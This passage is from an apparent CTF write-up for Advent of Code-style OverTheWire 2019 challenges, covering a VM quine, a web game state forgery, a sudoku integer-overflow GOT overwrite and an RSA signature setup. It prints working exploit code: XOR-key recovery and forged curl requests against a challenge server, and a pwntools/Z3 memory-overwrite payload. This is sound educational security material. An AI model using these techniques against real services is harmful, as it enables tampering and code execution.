+00000000 4c 69 4e 65 00 00 00 3c 05 01 03 0a 04 08 06 09 |LiNe...<........| +00000010 03 07 00 05 00 0a 01 0b 00 05 02 07 04 08 06 07 |................| +00000020 00 04 03 0b 07 0a 05 0b 05 09 05 09 05 09 04 08 |................| +00000030 02 05 05 09 05 09 05 09 04 08 02 05 05 09 05 09 |................| +00000040 05 09 06 07 4c 69 4e 65 00 00 00 54 05 01 03 0a |....LiNe...T....| +00000050 04 08 06 09 03 07 00 05 00 0a 01 0b 00 05 02 07 |................| +00000060 04 08 06 07 02 05 04 08 00 0a 00 09 01 0b 07 0a |................| +00000070 01 07 00 09 00 0a 04 08 05 07 01 0b 07 0a 04 08 |................| +00000080 00 06 03 07 07 03 03 07 04 08 03 0b 04 08 01 06 |................| +00000090 04 03 00 04 04 08 01 07 07 0a 00 05 05 09 06 07 |................| +``` + +Every line segment starts with `4c 69 4e 65 (LiNe)`, followed by the length of the line as a 4 byte value. Every plain text byte takes 2 bytes in the encoded line. The first byte maps to the column, the second one to the line in the embedded image (indices starting from 0). + +This can be easily automated in Python. + +#### Final exploit + +```python +MAP = """Q?0\H$Y, +R-L^KJ?k +s#_/m=f9 +7d-NE4qr +Pi?V'&XA +n3I?O*;Z +wGpB8cSj +Fg:eby"v +%+?1 !M@ +h{2xW.D} +tU|CTz6u +Io>a5l<' +""".split("\n") + +with open("lines4.bin", "rb") as f: + lines = f.read().split(b"LiNe")[1:] + +for line in lines: + line = line[4:] # skip the length + for column, row in zip(line[::2], line[1::2]): + print(MAP[row][column], end="") + print() +``` + +Executing the script prints the flag: + +``` +Jock: "Oh my God! JC! A flag!" +JC Denton: "A flag! AOTW{wh4t_4_r0tt3n_fi13_f0rm4t}" +``` + +## day-15 self replicating toy + +### Meta + +* **Spent time:** 30 hours +* **Solved:** by myself +* **Difficulty:** medium, but time-consuming + +### Description + +> Can you design your own self-replicating toy? + +Along with an IP address/port there is also the file chal.c given: https://advent2019.s3.amazonaws.com/dc3f15513e6d0ca076135b4a05fa954d62938670ddd7db88168d68c00e488b87-chal.c + +The file chal.c contains the implementation of a custom stack-based virtual machine. The machine operates on three main stacks: data, code and output. There are also 32 "scratch stacks" which are called "functions". The VM operates on instructions given on the code stack. Every instruction has one byte. + +The goal of the challenge is to construct a quine for the virtual machine. A quine is a program fragment that outputs itself. In case of the VM, this means that the output stack contains the same bytes at the end of the execution as the code stack in the beginning of the execution. + +### Analysis + +The main method of the challenge contains the following code: + +```C + puts("Enter your Assemblium sequence:"); + unsigned char *user_code = malloc(length); + for (int i = 0; i < length; i++) { + read(0, user_code + i, 1); + } + vm_state vm = new_vm_state(); + for (int i = length - 1; i >= 0; i--) { + push_stack(vm.code, user_code[i]); + } + while (vm.code->size > 0) { + execute_one_inst(&vm); + } + if (length != vm.output->size) { + goto fail; + } + for (int i = 0; i < length; i++) { + if (vm.output->data[i] != user_code[i]) { + goto fail; + } + } + print_flag(); +``` + +The *Assemblium* sequence (i. e. instructions for the custom instruction set) are read from stdin and pushed to the VM's code stack. Then the instructions are executed one by one using the `execute_one_inst(&vm)` function. If the output of the VM, i. e. the output stack, contains the same bytes as the given user code, the flag is printed. This is called a *quine* (see also https://en.wikipedia.org/wiki/Quine_(computing)): + +> A quine is a computer program which takes no input and produces a copy of its own source code as its only output. The standard terms for these programs in the computability theory and computer science literature are "self-replicating programs", "self-reproducing programs", and "self-copying programs". + +Quines are usually built around the following principle (see also https://cs.lmu.edu/~ray/notes/quineprograms/): + +> The classic way to produce a self-printing program has two steps: +> +> 1. Initialize a string variable, with a placeholder for interpolation. +> +> 2. Print the string, interpolating the string into itself. + +Therefore we have to analyze the instruction set to find out how we can apply these principles. + +To get an inspiration, let us look at quines in other assembly languages (see also https://codegolf.stackexchange.com/a/5742). The following quine, for example, is written in gas for x86 Linux: + +``` +.globl main +main:movw $34,B+86 +push $B+1 +call puts +call puts +pop B +ret +.data +B:.ascii" +.globl main +main:movw $34,B+86 +push $B+1 +call puts +call puts +pop B +ret +.data +B:.ascii" +``` + +We can see that the previously mentioned principles are applied: There is a string (`B`) that contains the program code that prints the string. To interpolate the string into itself, `puts()` is simply called twice. The idea of this quine to have a string and print the string twice can be applied to our own instruction set. + +#### Basic idea + +To abstract the idea of the GAS x86 quine: we have to build a string that contains two print instructions, and then print that string two times. + +Let's first imagine an instruction set in which the *first two bytes* of the given instructions are *always* interpreted as a literal (i. e. as a string) and the two following instructions are interpreted according to the semantics of the instruction set (i. e. as code). This is a simplification of the given instruction set but we can iterate from there once we understand how to make a quine in this simplified environment. If the print instruction in that instruction set is `0xb0`, the quine would be simply `0xb0 0xb0 0xb0 0xb0`. The first two bytes are the literal which would be put on the data stack. The next two bytes are interpreted as *print what is on the stack* (but without destroying it). The result is that `0xb0 0xb0 0xb0 0xb0` is printed (i. e. written to the output stack). + +So far so good but our instruction set is far more flexible so we have to be more creative. + +First, not the first n bytes are interpreted as a literal but only bytes that are less than 0x80, i. e. where the MSB is not set. This means that the instruction set is split into two halves: The first half (everything below 0x80) is interpreted as a literal byte and copied to the data stack, the second half (everything >= 0x80) is interpreted as code and the semantics depend on the byte as described above. This means that our literal cannot include the print instruction as-is because then it would not be a literal anymore. How can we solve this? We encode bytes which are >= 0x80 so that they are interpreted as data. So instead of using syntax to mark the bytes as data, we encode the bytes. This makes things slightly more complicated. The x86 quine has to deal with quotes being special as well but that's rather easy: `movw $34,B+86` inserts a quote at the end of the string. The string is then printed as-is using the `puts()` function. + +We do something similar: We first print the data bytes as-is, then we print the instructions that printed the data bytes. + +In an abstract way the quine looks as follows: + +``` + || +``` + +When the program is executed, the following happens: + +1. The data in the beginning of the program (i. e. the encoded instructions) are copied to the data stack. +2. The instructions after the data are executed. These instructions do the following: + 1. The content of the data stack is printed. + 2. The content of the data stack is decoded and printed. + +This way, we have created a self-replication program: The encoded instructions are printed first, then the encoded instructions are decoded and printed which prints the actually executed instructions. Our program replicated itself. + +Note how this is similar to the GAS x86 quine, except that the encoded instructions are at the beginning and not at the end and that we have to encode the instructions instead of simply using syntax (quotes in the case of GAS) to give the instructions as literal and not as code. + +### Solution + +To implement the concepts we have to solve the following problems: + +1. Define a *variable-length* encoding scheme that takes bytes between 0x00 and 0xff and produces bytes between 0x00 and 0x7f. This encoding scheme has to be reversible with the given instruction set (it is not clear if the instruction set is Turing complete so we might be limited). +2. Define instructions that print the content of the data stack, decode the data stack using the scheme from (1) and print the decoded result. + +#### Instruction set + +First, we have to analyze the instruction set more deeply. Every instruction takes one byte. The instruction byte is interpreted as follows: + +* < 0x80: pushed as-is to data +* 0x80: pop from data, XOR 0x80, push to data +* 0x81: pop from data, if 0 push 0xff, else push 0 +* 0x82: pop a from data, pop b from data, push a & b to data +* 0x83: pop a from data, pop b from data, push a | b to data +* 0x84: pop a from data, pop b from data, push a ^ b to data +* 0x90: pop a from data, pop b from data, push a to to data, push b to data (= swap a and b) +* 0x91: pop from data, push twice to data +* 0xa0: pop function index from data, pop from data unless value is 0xa1, push to function index's data +* 0xb0: pop from data, push to output +* >=0xc0, <0xe0: push all function index's (index = inst - 0xc0) data to code (= call a function) +* >= 0xe0: pop from data, if != 0: push all function index's (index = inst - 0xe0) data to code (= call a function) + +#### Implementation + +##### Encoder + +Our first task is to come up with an encoding scheme. The encoding scheme will encode every byte into three bytes which are guaranteed to be below `0x80`. This encoding is not very efficient in general: The encoded data is three times bigger than the original data but it is relatively easy to implement. + +The encoding works as follows: + +* Every byte `b` that is below `0x80` will be encoded as `0x01 0x10 b`. +* Every byte `b` that is `0x80` or above will be XORed with `0xff` and encoded as `0x11 0x11 b'`, where `b'` is the XORed byte. + +**Example:** The bytes `0x1f 0xf1` are encoded as `0x01 0x10 0x1f 0x11 0x11 0x0e`. + +The Python code for the encoding looks as follows: + +```python +def encode(bytecode): + result = bytearray() + + for b in bytecode: + if b == 0: + raise ValueError("0x00 is not supported!") + elif b < 0x80: + result.append(0x01) + result.append(0x10) + result.append(b) + else: + result.append(0x11) + result.append(0x11) + result.append(b ^ 0xff) + + result.append(0x00) # end of encoded sequence + + return bytes(result) +``` + +Note that `0x00` cannot be encoded because it marks the end of the encoded sequence. We need to have such an end mark because of the variable length property. However, this is a viable limitation because it is possible to avoid having to encode null bytes. + +This encoding scheme can be quite easily decoded with the following instructions: + +* `0x84`: pop a from data, pop b from data, push `a ^ b` to data +* `0x81`: pop from data, if `0` push `0xff`, else push `0` + +Thus, the instructions `0x84 0x81 0x84` reverse the encoding. + +**Example:** + +The bytes `0x01 0x10 0x1f 0x11 0x11 0x0e` are given on the data stack. + +* `0x84` pops `0x01` and `0x10` from the stack and pushes `0x01 ^ 0x10 = 0x11` to the stack. `0x81` pops `0x11` from the stack, since it is not `0` it pushes `0` to the stack. `0x84` pops `0` and `0x1f` from the stack and pushes `0x1f ^ 0x00 = 0x1f` to the stack. `0x1f` is now on the stack which was the first byte in the original sequence. +* `0x84` pops `0x11` and `0x11` from the stack and pushes `0x11 ^ 0x11 = 0x00` to the stack. `0x81` pops `0x00` from the stack, since it is `0` it pushes `0xff` to the stack. `0x84` pops `0xff` and `0x0e` from the stack and pushes `0x0e ^ 0xff = 0xf1` to the stack. `0xf1` is now on the stack which was the second byte in the original sequence. + +##### Jumps / loops + +To run the decode instructions `0x84 0x81 0x84` in a loop, we resort to the following trick: The virtual machine supports the notion of "functions", i. e. 32 separate stacks that can hold code which can be executed more than once. To decode all bytes until we reach `0x00` we create two functions which call each other ("ping pong"). There are special instructions which *conditionally* call a function. I. e. the function is only called if the top of the data stack is *not* `0x00`. We can use this to end the decoding by giving `0x00` on the stack at the end of the encoded sequence. (In x86 assembly, we would use `cmp` and `jnz` instead of the functions.) + +##### Decoding and printing + +Now that we know how to encode instructions, it is time to define instructions that print the content of the data stack, decode the data stack using the scheme from (1) and print the decoded result. + +Let's start with instructions that print everything that is on the data stack. As described in the *Jumps / loops* section, we will use functions because the language does not support jumps or loops. + +First, we define the the *ping* function. This function executes the following instructions: `0x91 0xb0 0xe3` + +1. `0x91`: Duplicate the value on the data stack +2. `0xb0`: Pop value from data stack, push to output stack (this is basically the "puts" in our virtual machine) +3. `0xe3`: Pop value from data stack, if value *is not* `0x00` call function 3 (the pong function) + +We duplicate the value on the stack so that we can print it once (which is destructive) and still be able to check if it is not `0x00`. + +Second, we define the *pong* function. This function executes the following instructions: `0x91 0xb0 0xe2` + +This function does basically the same except that it calls function 2 instead of 3, i. e. the ping function. + +Now that we know how the function bodies should look like, we need to know how functions are created. + +Creating a function works like this: If the `0xa0` instruction is encountered, a value is popped from the data stack. This value is the *index* of the function (indices 0 to 31 are supported). Then, all values from the data stack are popped as long as `0xa1` is not encountered. Be aware that functions are created *in reverse order* due to the stack principle. I. e. the instruction that is executed at the end must go first. Further, we have to create the function code on the data stack. + +In order to get instructions on the data stack we have to encode them (remember: only values < 0xb0 are copied as-is to the data stack). This is relatively simple: The `0x80` instruction pops the value from the data stack, XORs it with `0x80` and pushes the result. + +The ping function looks like this when it is encoded: `0x21 0x80 0x63 0x80 0x30 0x80 0x11 0x80 0x02 0xa0` + +* `0x21 ^ 0x80 = 0xa1`: marks the end of the function +* `0x63 ^ 0x80 = 0xe3`: call function 3 +* `0x30 ^ 0x80 = 0xb0`: print +* `0x11 ^ 0x80 = 0x91`: duplicate +* `0x02`: index of function +* `0xa0`: create function + +The pong function can be encoded in a similar fashion. + +To call the print ping function, one instruction is enough: `0xc2` calls the function with index 2, i. e. the print ping function. + +Encoding and printing works similar. The difference is that we have to include the decoding instructions before we print it. + +##### Putting everything together + +Now we create the final payload: + +1. We encode the instructions using the encoding defined earlier and wrap the data into a function so that we can use it twice (once for printing as-is, once for decoding and printing). +2. We append the instructions for decoding and printing. + +The final payload is then (without the newlines): + +``` +218001100111115f01102111114f01101101101111117 +b11117f11114f11113e01102111117f01106311117f01 +103011117f01101111117f01100211115f01102111117 +f01106211117f01103011117f01101111117f01100311 +115f11113d11113e01102111117f01106511117f01101 +111117f01100411115f01102111117f01104411117f01 +103011117f01100411117f01100111117f01100411117 +f01100511115f11113b0001a021b011118480b0c12180 +63803080118002a0218062803080118003a0c2c121806 +580118004a021804480308004800180048005a0c4 +``` + +A commented solution that creates the payload can be found in the repository in the file `vm-chal.py`. + +Sending the payload to the server gives us the flag back: `AOTW{G0od_job_writing_y0ur_v3ry_0wN_quin3!}` + +## day-17 snowflake idle + +### Meta + +* **Spent time:** 20 hours +* **Solved:** by w0y +* **Difficulty:** medium (+ guessing) + +### Description + +> It's not just leprechauns that hide their gold at the end of the rainbow, elves hide their candy there too. + +No source code is given, just a link to a website: http://3.93.128.89:1217 + +The challenge is tagged as *crypto*/*web*. + +The website shows a simple "game" where the user can collect snowflakes. Every x seconds, the user gets a new snowflake. Snowflakes can be traded for a higher collection speed. If the user decides to trade their snowflakes, the snowflakes are deducted from the balance but in the same x seconds the user can collect more snowflakes now. If the user collects 10^63 snowflakes, they could trade it for a flag. + +The website uses JavaScript on the front-end and communicates with the server via a JSON API. The server is implemented in Flask. + +### Analysis + +Of course, it is not feasible to collect that many snowflakes without cheating so we have to find a vulnerability. + +#### Unsuccessful attempts + +**Manipulating the session ID** + +The server generates an ID upon starting the game, e. g. `/B5JdjWnoW4oUb7FMPGELnQo7WuQyVJ3Wr7N931EZtg=`. That ID is used as a session identifier. Collecting 1000 samples of fresh IDs and running `ent` on it shows that it cannot be ruled out that the ID is randomly generated: + +``` +Entropy = 7.994904 bits per byte. + +Optimum compression would reduce the size +of this 32000 byte file by 0 percent. + +Chi square distribution for 32000 samples is 224.32, and randomly +would exceed this value 91.73 percent of the times. + +Arithmetic mean value of data bytes is 127.7340 (127.5 = random). +Monte Carlo value for Pi is 3.157697356 (error 0.51 percent). +Serial correlation coefficient is -0.006148 (totally uncorrelated = 0.0). +``` + +Analyzing and playing with the session ID turned out to be a dead-end. + +**Melting more snow flakes than available** + +It is possible to melt more snow flakes than collected, however, this was a dead-end as well. The snow flake count simply went negative, no underflow happened. + +**Manipulating requests to the `client` endpoint** + +Any given `action` to the `/client` endpoint is saved as-is in the database and will be happily returned by the `/history/client` endpoint. Unfortunately, this is not an XSS challenge and this did not really allowed us to do anything useful. + +#### Endpoints + +Since the source code of the challenge is not released, we basically have to resort to educated guessing. Since the session identifier does not seem to be vulnerable in any obvious way, we investigated the endpoints. + +##### `/control` + +The `/control` endpoint is used register a new user: + +``` +POST /control + +{"action":"new","name":"username"} +``` + +##### `/client` + +The `/client` endpoint is the "main" endpoint (HTTP method: POST) that the front-end uses to e. g. request the state, increase the collection speed or collect a snow flake: + +``` +POST /client + +{"action":"collect","amount":1} +``` + +##### `/history/client` + +Most interesting is the `/history/client` endpoint. Sending a GET request to that endpoint returns a JSON that basically contains a log of all actions that the client requested: + +``` +[ + [ + 1576940433927, + { + "action": "state" + } + ], + [ + 1576940435274, + { + "action": "collect", + "amount": 1 + } + ], + ... +] +``` + +Interestingly, any given `action` is saved as-is in the database and will be happily returned by the `/history/client` endpoint. Unfortunately, this is not an XSS challenge and this does not really allow us to do anything useful. + +##### `/history/control` + +What we did not realize for a long time was that the `/history` endpoint happily retrieves the history for *other* endpoints as well. I. e. `/history/control` returns data for the `/control` endpoint. + +``` +[ + [ + 1578852889691, + { + "action" : "load" + } + ], + [ + 1578852889691, + { + "data" : "nQZ2wk0avgzGKhYR4Sy5io/o55SCBiGNElPnDJJrS1rzOrmKievng4hFdsgBAg==", + "action" : "save" + } + ], +(...) +] +``` + +This immediately piqued our interest because ... + +1. The `control` endpoint takes an `action` parameter with value `save` but the web interface only exposes the action `new`. +2. The `control` endpoint apparently also takes a `data` parameter which could be interesting for manipulate the server side state. + +Decoding the data leads to binary data which is good: We knew that we discovered the crypto part of the challenge. + +### Exploit + +*Note that the following is not 100% "historically" accurate but a streamlined version of what we did and how we succeeded to make the write-up easier to follow.* + +#### Getting the key + +We then tried to use a really long username like `xxx...xxx` (200 times `x` repeated) to check if we can spot a pattern in the data. + +This was actually quite successful (spaces added for better readability): + +``` +80cf80HOc0tsA68UqWdA933wVY3sR0i8HocqSzhC8l+7cUD3 + +dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit +dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit +dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit +dvhIkPAdCuRX03IRLlvnQuEzGK + +0s/Q== +``` + +Clearly a pattern emerged because parts of the ciphertext repeated itself. This is obviously bad! + +The hypothesis that we came to was that the username has to be obviously included in the ciphertext and the ciphertext is only XORed with the key. The key repeats itself because we can see patterns. This means that it should be possible to retrieve the key by XORing everything with repeated 'x'. + +``` +>>> binascii.hexlify(bytes(data[i] ^ ord(b'x') for i in range(len(data)))) +b'8b3f678b39b60b33147bd76cd11f388f05882df5943f30c466ff5233403a8a27c309388f0e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d55485' +``` + +Reformatting the result makes the repeating pattern obvious: + +``` +8b3f678b39b60b33147bd76cd11f388f05882df5943f30c466ff5233403a8a27c309388f + +0e8030e88865729c2fab0a6956239f3a994b60d5 +0e8030e88865729c2fab0a6956239f3a994b60d5 +0e8030e88865729c2fab0a6956239f3a994b60d5 +0e8030e88865729c2fab0a6956239f3a994b60d5 +0e8030e88865729c2fab0a6956239f3a994b60d5 +0e8030e88865729c2fab0a6956239f3a994b60d5 +0e8030e88865729c2fab0a6956239f3a994b60d5 +0e8030e88865729c2fab0a6956239f3a994b60d5 +0e8030e88865729c2fab0a6956239f3a994b60d5 +0e8030e88865729c2fab0a6956239f3a994b60d5 + +5485 +``` + +However, it is unlikely that the key starts with the beginning of the `x` sequence. Therefore we will try all possible combinations (luckily there are only 20): + +```python +import base64 +import binascii + +def key_candidate(key): + for i in range(len(key)): + yield key[i + 1:] + key[:i + 1] + + +data = base64.b64decode('80cf80HOc0tsA68UqWdA933wVY3sR0i8HocqSzhC8l+7cUD3dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK0s/Q==') +key = binascii.unhexlify('0e8030e88865729c2fab0a6956239f3a994b60d5') + +for key in key_candidate(key): + plaintext = "".join(chr(data[i] ^ key[i % len(key)]) for i in range(len(data))) + try: + plaintext.encode("ascii") + print("Found key: {}".format(binascii.hexlify(key))) + print(plaintext) + except: + continue +``` + +This will print the key that was used because all other key candidates do not decrypt the ciphertext to plain ASCII: + +``` +Found key: b'8865729c2fab0a6956239f3a994b60d50e8030e8' +{"money": 0.0, "speed": 1, "name": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"} +``` + +**Note:** The key is actually derived from the ID that is sent back to the client by calculating the SHA1 hash of the binary ID (see the source code of the challenge which was released after the deadline: https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-17_web1/server.py#L101) + +#### Setting the state + +With the key it is now easy to decrypt and encrypt arbitrary data. + +```python +import hashlib +import base64 + + +def encrypt(data, ID): + key = hashlib.sha1(base64.b64decode(ID)).digest() + data = data.encode() + ciphertext = bytes([data[i] ^ key[i % len(key)] for i in range(len(data))]) + return base64.b64encode(ciphertext) + + +print(encrypt('{"money": 5.0, "speed": 10e63, "name": "username"}', 'OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=')) +``` + +We now have to send the new state with the collection speed 10e63 to the server. The `/control` endpoint supports `save` as an action which will overwrite the state of the game. + +``` +$ curl 'http://3.93.128.89:1217/control' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"save","data":"nQZ2wk0avgzGKhMR4Sy5io/o55SCBiGNEk/3Hsw6Fg/9ILvGnfXn09wEOdhQGrVAnWdDHaw="}' +``` + +Now we check if the state was successfully changed: + +``` +$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"state"}' +{"collect_speed":1e+64,"elf_name":"username","flag":"AOTW{leaKinG_3ndp0int5}","snowflakes":9e+63,"speed_upgrade_cost":1e+300} +``` + +Very good! Now we can buy the flag. + +``` +$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"buy_flag"}' +``` + +The flag is now part of the `state` response: + +``` +$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{"action":"state"}' | json_pp +{ + "snowflakes" : 9e+63, + "flag" : "AOTW{leaKinG_3ndp0int5}", + "speed_upgrade_cost" : 1e+300, + "elf_name" : "username", + "collect_speed" : 1e+64 +} +``` + +The flag is: `AOTW{leaKinG_3ndp0int5}` + +## day-18 impressive sudoku + +### Meta + +* **Spent time:** 12 hours +* **Solved:** nope +* **Difficulty:** easy to medium + +### Description + +> First we asked you to solve a sudoku, now we want you to make one. + +Along with an IP address/port there is also an archive given: https://advent2019.s3.amazonaws.com/4964615443db994db372a3d64524510452521f09809fdb50da22e83d15fb48ca.tar.gz The archive contains the file chal.cc and chal (an executable built from chal.cc). + +### Analysis + +chal.cc has 89 lines and expects a sudoku as an input (given by a 9x9 matrix read from stdin). The sudoku is checked and if the *score* of the sudoku is >= 1000000, the flag is printed. + +There are two interesting functions: `check()` and `score()`. The first one checks if the given sudoku is valid according to the "usual" rules (i. e. every column and row as well as all 3x3 fields have to be a valid permutation of the numbers from 1 to 9): + +```C +bool check() { + uint row[9]; + for (int i = 0; i < 9; i++) { + for (int j = 0; j < 9; j++) { + row[j] = sudoku[i][j]; + } + if (!checkrow(row)) { + return false; + } + } + for (int j = 0; j < 9; j++) { + for (int i = 0; i < 9; i++) { + row[i] = sudoku[i][j]; + } + if (!checkrow(row)) { + return false; + } + } + for (int i = 0; i < 3; i++) { + for (int j = 0; j < 3; j++) { + for (int ii = 0; ii < 3; ii++) { + for (int jj = 0; jj < 3; jj++) { + row[ii * 3 + jj] = sudoku[i * 3 + ii][j * 3 + jj]; + } + } + if (!checkrow(row)) { + return false; + } + } + } + return true; +} + +bool checkrow(uint nums[9]) { + uint sum = 0; + uint prod = 1; + for (int i = 0; i < 9; i++) { + sum += nums[i]; + prod *= nums[i]; + } + // Lazy way to check nums is a permutation of 1 - 9. + return sum == 45 && prod == 362880; +} +``` + +Interesting is the `checkrow()` function: To check if the integers are a valid permutation of 1 to 9, it sums up and multiplies all integers. However, the function contains a bug: If one of the digits overflows the range of an unsigned integer, the calculation happens modulo `sizeof(uint)`. I.e. it's possible to have numbers outside of 1 to 9 in the `nums` array which will be important later on. + +Do determine the score of the sudoku the following code is used: + +```C +uint scorer[9 + 1]; + +void score() { + (...) + for (int i = 0; i < 8; i++) { + scorer[sudoku[i][i]] = sudoku[i + 1][i + 1]; + } + uint score = 1; + for (int i = 1; i <= 9; i++) { + score *= scorer[i]; + } + (...) +} +``` + +This code is interesting due to multiple reasons: + +* The first loop goes from 0 to inclusive 7, the second loop goes from 1 to inclusive 9. The second loop multiplies the values in the scorer array from `scorer[1]` to `scorer[9]`. However, the first loop is executed only 7 times. This means that two values will always be 0 because they are not overwritten in the `scorer` array and hence the whole score will always be 0. +* The value of the sudoku itself is used as an index for the `scorer` array: `scorer[sudoku[i][i]] = sudoku[i + 1][i + 1]`. + +At this point we were stuck and did not really know how to proceed. + +### Solution + +After the CTF, somebody posted a solution in Mattermost: https://pastebin.com/yMM49Q2W + +The idea is to overwrite the address of `puts()` with the address of `win()`. This is possible because due to the overflow it is possible to overwrite arbitrary addresses: + +```C + scorer[sudoku[i][i]] = sudoku[i + 1][i + 1]; +``` + +This is equal to `*(scorer + sudoku[i][i]) = sudoku[i + 1][i + 1]`. The address of `puts()` is overwritten if `scorer + 4*sudoku[i][i] == puts`. Therefore we calculate the difference of the addresses of `puts()` and the `scorer` array and divide it by the size of an unsigned integer (4): + +We don't know the position of `puts()` but because it is a library function, it uses the PLT (see also https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html for an explanation): + +``` +08048400 : + 8048400: ff 25 10 a0 04 08 jmp *0x804a010 + 8048406: 68 08 00 00 00 push $0x8 + 804840b: e9 d0 ff ff ff jmp 80483e0 <.plt> +``` + +Therefore we take the hard coded address `0x804a010` and write to that location. + +``` +ADDR_WIN = 0x08048799 +ADDR_PUTS = 0x0804A010 +ADDR_SCORER = 0x0804A1C0 +OFFSET_PUTS = (ADDR_PUTS - ADDR_SCORER) // 4 +``` + +Now we use Z3 to model a solution to the sudoku: + +```python +cells = [BitVec('c_%d' % i, 32) for i in range(9)] + +s = Solver() +s.add(sum(cells) == 45) +s.add(Product(cells) == 362880) +s.add(cells[0] == OFFSET_PUTS+2**32) +s.add(cells[1] == ADDR_WIN) +s.add(cells[2] == 1) +s.add(cells[3] == 2) +s.add(cells[4] == 3) + +s.check() +m = s.model() +row = [m[c].as_long() for c in cells] +``` + +**Notes:** + +* `2**32` is added to the offset because it is negative. +* The sum of all cells must be 45, which is checked in the `checkrow()` function. +* The product of all cells must be 362880, which is checked in the `checkrow()` function as well. + +The output is, for example: `[4294967188, 134514585, 1, 2, 3, 3911297825, 108947494, 113742248, 26465291]` + +Now we take an existing sudoku and replace the numbers with the numbers from the model. I. e. 3 in the first column is replaced with 1 because 1 is on the 3rd number in the output list. 6 is replaced with 3911297825 because it is the 6th number in the list, etc. This way the overflow holds for the rows, columns and the 3x3 matrices as well. + +The final exploit sudoku is then sent line-wise to the server. The flag is retrieved and printed. + +```C +r = remote(HOST, PORT) + +solution_idx = [ + [3, 6, 7, 5, 8, 4, 1, 2, 9], + [2, 4, 1, 7, 3, 9, 5, 6, 8], + [9, 8, 5, 2, 6, 1, 4, 3, 7], + [6, 5, 2, 3, 9, 7, 8, 4, 1], + [7, 1, 3, 8, 4, 2, 6, 9, 5], + [4, 9, 8, 6, 1, 5, 2, 7, 3], + [1, 7, 9, 4, 2, 8, 3, 5, 6], + [8, 2, 6, 9, 5, 3, 7, 1, 4], + [5, 3, 4, 1, 7, 6, 9, 8, 2], +] + +for row in range(9): + r.sendline(' '.join(str(values[idx-1]) for idx in solution_idx[row]).encode('ascii')) + +response = r.recvall() +r.close() +if b'AOTW{' in response: + print(response) +``` + +This prints the flag: `AOTW{Th3t_is_such_aN_1mpr3ssive_Sud0ku}` + +## day-19 santa's signature + +### Meta + +* **Spent time:** 2 hours +* **Solved:** by myself +* **Difficulty:** easy + +### Description + +> Can you forge Santa's signature? + +Along with the IP address/port there was also the Python code running on the server given which made the challenge even easier to solve. + +```python +#!/usr/bin/env python3 +import Crypto +from Crypto.PublicKey import RSA +import sys + +try: + with open("key",'r') as f: + key = RSA.importKey(f.read()) +except: + rng = Crypto.Random.new().read + key = RSA.generate(4096, rng) + with open("key",'w') as f: + f.write(key.exportKey().decode("utf-8")) + +def h2i(h): + try: + return int(h,16) + except Exception: + print("Couldn't hex decode",flush=True) + sys.exit() + +header = \ +"""Dear Santa, +Last christmas you gave me your public key, +to confirm it really is you please sign three +different messages with your private key. + +Here is the public key you gave me:""" +print(header,flush=True) +print(key.publickey().exportKey().decode("utf-8"),flush=True) +ms = [] + +for i in range(1,4): + m = h2i(input("Message %d you signed (hex encoded):" % i)) + if m in ms: + print("I said different messages!",flush=True) + sys.exit() + s = [h2i(input("Signature %d:" % i))] + if not key.verify(m,s): + print("Looks like you aren't Santa after all!",flush=True) + sys.exit() + ms.append(m) + +print("Hello Santa, here is your flag:",flush=True) +with open("flag",'r') as flag: + print(flag.read(),flush=True) +``` + +The public key that is presented by the server is as follows: + +``` +-----BEGIN PUBLIC KEY----- +MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAu1jb39GZlWh9XPpOHmaa +ZEYrbNqa6KMf4E211NYklZytuRBQy71zOI8V9O7i12C4hjhoAzj8JnXkpFur7w3z +PLimVB/B+KfQq3fo5YqWzVhi06LuuCvyGwkWSO3K2sMyH3ISKlPKlyVzhr/9qeHR +2gbFXK6so8rHXpZGgSJk5TimuY4yb+TNjpfi4srQIyepVPCjECs4n+Ii941c+7KW 